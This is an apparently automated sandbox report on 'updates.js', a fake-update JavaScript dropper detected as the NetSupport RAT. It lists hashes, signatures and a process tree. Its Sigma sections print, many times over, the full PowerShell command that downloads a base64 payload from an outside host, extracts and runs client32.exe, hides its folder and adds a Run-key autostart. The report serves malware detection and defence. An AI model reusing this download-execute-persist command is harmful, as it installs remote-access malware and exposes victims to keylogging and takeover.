Edit tour

Windows Analysis Report
updates.js

Overview

General Information

Sample name:	updates.js
Analysis ID:	1474469
MD5:	2826502a26311bbe395d5ab565114330
SHA1:	1764ea00a1262c07b13d0c4b059e88e57650dfc4
SHA256:	65ab8ed555628693952b1fc385feca757b0a689981128d848f2c39a52e7da1e9
Tags:	FAKEUPDATESjsNetSupport
Infos:

Detection

NetSupport RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Powershell drops NetSupport RAT client

Snort IDS alert for network traffic

Contains functionalty to change the wallpaper

Delayed program exit found

Found suspicious powershell code related to unpacking or dynamic code loading

Powershell drops PE file

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Download - PoshModule

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7424 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

client32.exe (PID: 7608 cmdline: "C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe" MD5: C4F1B50E3111D29774F7525039FF7086)

client32.exe (PID: 7968 cmdline: "C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe" MD5: C4F1B50E3111D29774F7525039FF7086)

client32.exe (PID: 8036 cmdline: "C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe" MD5: C4F1B50E3111D29774F7525039FF7086)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
updates.js	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6dccdd:$b1: ::WriteAllBytes( 0x6dcba4:$b2: ::FromBase64String( 0x126b5:$s3: reverse 0x1279c:$s3: reverse 0x3a28d:$s3: reverse 0x3a32a:$s3: reverse 0x3b0f3:$s3: reverse 0x3b41b:$s3: reverse 0x3b594:$s3: reverse 0x3b62f:$s3: reverse 0x3ba5b:$s3: reverse 0x3baaa:$s3: reverse 0x3bac5:$s3: reverse 0x3bbb3:$s3: reverse 0x3c0bd:$s3: reverse 0x3c0c7:$s3: reverse 0xcdd68:$s3: reverse 0xd164b:$s3: reverse 0x1233f1:$s3: reverse 0x12343c:$s3: reverse 0x16ca53:$s3: reverse

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\GRDCWLLI20\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\GRDCWLLI20\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.1909048492.00000000111E2000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000000.1986528123.0000000000952000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000002.1988466728.00000000111E2000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2968386737.0000000000952000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000002.1988422325.0000000011194000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000008.00000002.1988422325.0000000011194000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.1907401442.0000000000952000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000002.1987638721.0000000000952000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2969282587.00000000037E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.1907824908.0000000001308000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000000.1905398866.0000000000952000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000002.2971125252.000000006F160000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000003.00000000.1780896953.0000000000952000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6dcd1d:$b1: ::WriteAllBytes( 0x6dcbe4:$b2: ::FromBase64String( 0x126f5:$s3: reverse 0x127dc:$s3: reverse 0x3a2cd:$s3: reverse 0x3a36a:$s3: reverse 0x3b133:$s3: reverse 0x3b45b:$s3: reverse 0x3b5d4:$s3: reverse 0x3b66f:$s3: reverse 0x3ba9b:$s3: reverse 0x3baea:$s3: reverse 0x3bb05:$s3: reverse 0x3bbf3:$s3: reverse 0x3c0fd:$s3: reverse 0x3c107:$s3: reverse 0xcdda8:$s3: reverse 0xd168b:$s3: reverse 0x123431:$s3: reverse 0x12347c:$s3: reverse 0x16ca93:$s3: reverse
00000001.00000002.1816720389.00000170BABCF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: wscript.exe PID: 7336	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1d0911:$b1: ::WriteAllBytes( 0xa20ed0:$b1: ::WriteAllBytes( 0xde6ddb:$b1: ::WriteAllBytes( 0xe7ee0c:$b1: ::WriteAllBytes( 0x1d07d8:$b2: ::FromBase64String( 0x522ac2:$b2: ::FromBase64String( 0xa20d97:$b2: ::FromBase64String( 0xac169d:$b2: ::FromBase64String( 0xde6ca2:$b2: ::FromBase64String( 0xe7ecd4:$b2: ::FromBase64String( 0x62f:$s3: reverse 0xedab:$s3: reverse 0x1139c:$s3: reverse 0x20260:$s3: reverse 0x23fce:$s3: reverse 0x24121:$s3: reverse 0x3f784:$s3: reverse 0x3f89e:$s3: reverse 0x41161:$s3: reverse 0x4135a:$s3: reverse 0x56575:$s3: reverse
Process Memory Space: powershell.exe PID: 7424	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: powershell.exe PID: 7424	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2ba:$b1: ::WriteAllBytes( 0x4f886a:$b1: ::WriteAllBytes( 0x4f8c47:$b1: ::WriteAllBytes( 0x55b1c5:$b1: ::WriteAllBytes( 0x5873ab:$b1: ::WriteAllBytes( 0x587788:$b1: ::WriteAllBytes( 0x6d38da:$b1: ::WriteAllBytes( 0x6d3cd7:$b1: ::WriteAllBytes( 0x6d4329:$b1: ::WriteAllBytes( 0x6d4934:$b1: ::WriteAllBytes( 0xeb0fca:$b1: ::WriteAllBytes( 0xeb13a7:$b1: ::WriteAllBytes( 0xeb1ff9:$b1: ::WriteAllBytes( 0xf21f4a:$b1: ::WriteAllBytes( 0xf2254a:$b1: ::WriteAllBytes( 0xf229a5:$b1: ::WriteAllBytes( 0xf30fee:$b1: ::WriteAllBytes( 0x196:$b2: ::FromBase64String( 0x4f6492:$b2: ::FromBase64String( 0x4f8756:$b2: ::FromBase64String( 0x4f8b23:$b2: ::FromBase64String(
Process Memory Space: client32.exe PID: 7968	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 7968	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author
8.2.client32.exe.73a90000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.73a90000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.0.client32.exe.950000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.2.client32.exe.6f290000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
1.2.powershell.exe.170baed8fc8.1.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
1.2.powershell.exe.170baeced60.3.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
1.2.powershell.exe.170baeb84c0.0.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.6f290000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
3.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.2.client32.exe.73a90000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.2.client32.exe.950000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.0.client32.exe.950000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.client32.exe.6f290000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.client32.exe.111b8c68.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.2.client32.exe.6f120000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.client32.exe.950000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.0.client32.exe.950000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.950000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
3.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
3.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 23 entries

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minim

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minim

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7424, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HQWQTO

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7424, TargetFilename: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex 